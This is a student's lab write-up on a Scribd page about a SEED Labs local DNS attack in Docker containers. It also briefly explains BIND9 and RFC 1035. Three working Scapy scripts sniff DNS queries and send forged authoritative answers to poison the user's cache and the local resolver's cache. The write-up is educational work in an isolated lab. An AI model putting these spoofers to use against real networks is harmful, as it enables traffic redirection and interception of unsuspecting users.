Scribd Logo
Upload

Welcome to Scribd!

  • 18 views

    Dns Attack

    Uploaded by

    Anurag
    This document describes how to perform a local DNS attack by spoofing DNS responses using Docker containers representing a local DNS server, user, and attacker's name server. It involves 3 tasks: 1) Cache poison the user machine, 2) Cache poison the local DNS server, and 3) Cache poison the DNS resolver to send packets to the attacker's name server. It also explains that BIND9 relies on RFC 1035 standards for DNS server configuration and functionality, such as zone definitions, resource records, and security settings.

    Copyright:

    © All Rights Reserved
    Download as DOCX, PDF, TXT or read online from Scribd

    Dns Attack

    Uploaded by

    Anurag
    18 views7 pages
    This document describes how to perform a local DNS attack by spoofing DNS responses using Docker containers representing a local DNS server, user, and attacker's name server. It involves 3 tasks: 1) Cache poison the user machine, 2) Cache poison the local DNS server, and 3) Cache poison the DNS resolver to send packets to the attacker's name server. It also explains that BIND9 relies on RFC 1035 standards for DNS server configuration and functionality, such as zone definitions, resource records, and security settings.

    Original Description:

    Local DNS Attack

    Original Title

    Dns attack

    Copyright

    © © All Rights Reserved

    Available Formats

    DOCX, PDF, TXT or read online from Scribd

    Did you find this document useful?

    Is this content inappropriate?

    This document describes how to perform a local DNS attack by spoofing DNS responses using Docker containers representing a local DNS server, user, and attacker's name server. It involves 3 tasks: 1) Cache poison the user machine, 2) Cache poison the local DNS server, and 3) Cache poison the DNS resolver to send packets to the attacker's name server. It also explains that BIND9 relies on RFC 1035 standards for DNS server configuration and functionality, such as zone definitions, resource records, and security settings.

    Copyright:

    © All Rights Reserved
    Download as DOCX, PDF, TXT or read online from Scribd
    Download as docx, pdf, or txt
    18 views7 pages

    Dns Attack

    Uploaded by

    Anurag
    This document describes how to perform a local DNS attack by spoofing DNS responses using Docker containers representing a local DNS server, user, and attacker's name server. It involves 3 tasks: 1) Cache poison the user machine, 2) Cache poison the local DNS server, and 3) Cache poison the DNS resolver to send packets to the attacker's name server. It also explains that BIND9 relies on RFC 1035 standards for DNS server configuration and functionality, such as zone definitions, resource records, and security settings.

    Copyright:

    © All Rights Reserved
    Download as DOCX, PDF, TXT or read online from Scribd
    Download as docx, pdf, or txt
    You are on page 1of 7

    Study the manual for Local DNS server and understand how to configure and add forward and

    reverse zones to
    Local DNS server. Configure an attacker's name server and use its domain name for three tasks

    Task1: Cache poison the user machine

    Task2: Cache Poison the local DNS server

    Task3: Cache poison the DNS resolver so as to send packets to attckers name server.

    Explain BIND9 and RFC 1035 standards used for configuration settings.

    In this activity we are performing local dns attack to be precise we are attacking between two machine ie server an
    user but it is ethical incorrect to do it in actual servers and users so we first making environment such that the user
    servers and attacker is at same system so we can achieve this by docker container , so first we downloaded the lab
    setup provided by seed labs which contain docker images of user server and attacker , basicially by this lab setup
    these are some command by which we can activate the docker.
    From above commands our docker containers are ready to use till now ,after words Open five terminals, each
    assigned to one of the following machines: local DNS server (IP: 10.9.0.53), user (IP: 10.9.0.5), attacker's name server
    (IP: 10.9.0.153), seed attacker, and seed router, representing the three original machines, as well as the two spoofed
    entities (attacker and router) for the user.

    Run the commands so that all five terminals are also ready to use successfully and so that our machine is configured
    sucessfully
    So our all the five terminals are get configured successfully now we have to perform the tasks listed above one by
    one.

    Task1: Cache poison the user machine

    #!/usr/bin/env python3
    from scapy.all import *

    def spoof_dns(pkt):
    if (DNS in pkt and 'www.example.com' in pkt[DNS].qd.qname.decode('utf-8')):

    # Swap the source and destination IP address


    IPpkt = IP(dst=pkt[IP].src, src=pkt[IP].dst)

    # Swap the source and destination port number


    UDPpkt = UDP(dport=pkt[UDP].sport, sport=53)

    # The Answer Section


    Anssec = DNSRR(rrname=pkt[DNS].qd.qname, type='A',
    ttl=259200, rdata='1.1.1.1')

    DNSpkt = DNS(id=pkt[DNS].id, qd=pkt[DNS].qd, aa=1, rd=0, qr=1,


    qdcount=1, ancount=1, nscount=0, arcount=0,
    an=Anssec)

    # Construct the entire IP packet and send it out


    spoofpkt = IPpkt/UDPpkt/DNSpkt
    send(spoofpkt)

    # Sniff UDP query packets and invoke spoof_dns().


    f = 'udp and src host 10.9.0.5 and dst port 53'
    pkt = sniff(iface='br-75fe4623adc1', filter=f, prn=spoof_dns)

    After whole setup and running rndc flush command in server terminal the user ia asking the packet from
    www.example.com by the help of dig command and asy you can see in python code attached above the packet is
    spoofed in attacker terminal .
    Task2: Cache Poison the local DNS server

    Make certain that the DNS cache on the local DNS server is devoid of any entries. You can achieve this by executing
    the command below to flush the cache: rndc flush

    #!/usr/bin/env python3
    from scapy.all import *

    def spoof_dns(pkt):
    if (DNS in pkt and 'www.example.com' in pkt[DNS].qd.qname.decode('utf-8')):

    # Swap the source and destination IP address


    IPpkt = IP(dst=pkt[IP].src, src=pkt[IP].dst)

    # Swap the source and destination port number


    UDPpkt = UDP(dport=pkt[UDP].sport, sport=53)

    # The Answer Section


    Anssec = DNSRR(rrname=pkt[DNS].qd.qname, type='A',
    ttl=259200, rdata='1.1.1.1')

    # The Authority Section


    # NSsec1 = DNSRR(rrname='example.net', type='NS',
    # ttl=259200, rdata='ns1.example.net')
    # NSsec2 = DNSRR(rrname='example.net', type='NS',
    # ttl=259200, rdata='ns2.example.net')

    # The Additional Section


    # Addsec1 = DNSRR(rrname='ns1.example.net', type='A',
    # ttl=259200, rdata='1.2.3.4')
    # Addsec2 = DNSRR(rrname='ns2.example.net', type='A',
    # ttl=259200, rdata='5.6.7.8')

    # Construct the DNS packet


    DNSpkt = DNS(id=pkt[DNS].id, qd=pkt[DNS].qd, aa=1, rd=0, qr=1,
    qdcount=1, ancount=1, nscount=0, arcount=0,
    an=Anssec)

    # Construct the entire IP packet and send it out


    spoofpkt = IPpkt/UDPpkt/DNSpkt
    send(spoofpkt)

    # Sniff UDP query packets and invoke spoof_dns().


    f = 'udp and src host 10.9.0.53 and dst port 53'
    pkt = sniff(iface='br-75fe4623adc1', filter=f, prn=spoof_dns)
    Task3: Cache poison the DNS resolver so as to send packets to attckers name server.

    #!/usr/bin/env python3
    from scapy.all import *

    def spoof_dns(pkt):
    if (DNS in pkt and 'www.example.com' in pkt[DNS].qd.qname.decode('utf-8')):

    # Swap the source and destination IP address


    IPpkt = IP(dst=pkt[IP].src, src=pkt[IP].dst)

    # Swap the source and destination port number


    UDPpkt = UDP(dport=pkt[UDP].sport, sport=53)

    # The Answer Section


    Anssec = DNSRR(rrname=pkt[DNS].qd.qname, type='A',
    ttl=259200, rdata='4.4.4.4')

    # Construct the DNS packet


    DNSpkt = DNS(id=pkt[DNS].id, qd=pkt[DNS].qd, aa=1, rd=0, qr=1,
    qdcount=1, ancount=1, nscount=0, arcount=0,
    an=Anssec)

    # Construct the entire IP packet and send it out


    spoofpkt = IPpkt/UDPpkt/DNSpkt
    send(spoofpkt)

    # Sniff UDP query packets and invoke spoof_dns().


    f = 'udp and src host 10.9.0.53 and dst port 53'
    pkt = sniff(iface='br-6c472b7a5dc6', filter=f, prn=spoof_dns)

    BIND9 is a widely used software that acts as a Domain Name System (DNS) server. It relies heavily on
    the standards defined in RFC 1035 for its core functionalities. This RFC outlines the specifications for
    operating and implementing DNS servers, including message formats, resource records, zone transfers, and
    error handling mechanisms.

    Think of RFC 1035 as the language that governs how DNS servers communicate. BIND9 configuration
    files use this language to define various aspects of the server, such as zone definitions (mapping domain
    names to IP addresses), resource record types (different types of information stored in the DNS), and
    security settings. Understanding both BIND9 and RFC 1035 empowers you to effectively configure your
    DNS server, troubleshoot issues, and gain a deeper understanding of how the DNS ecosystem functions.
    Learnings

     Get to know about the docker container and how 3 machine is setup in form of docker images
     To learn more about the the attacks and there spoofing
     Get to know about Bind and rfc 1035
     Gain insights into how attackers can manipulate DNS records through techniques like cache poisoning and
    spoofing to redirect traffic.

    References
     https://github.com/ChitrakshGupta/Essential-Cybersecurity-Activities-Seed-Labs/tree/master/Local
    %20DNS%20Attack%20Lab (My own github)

    You might also like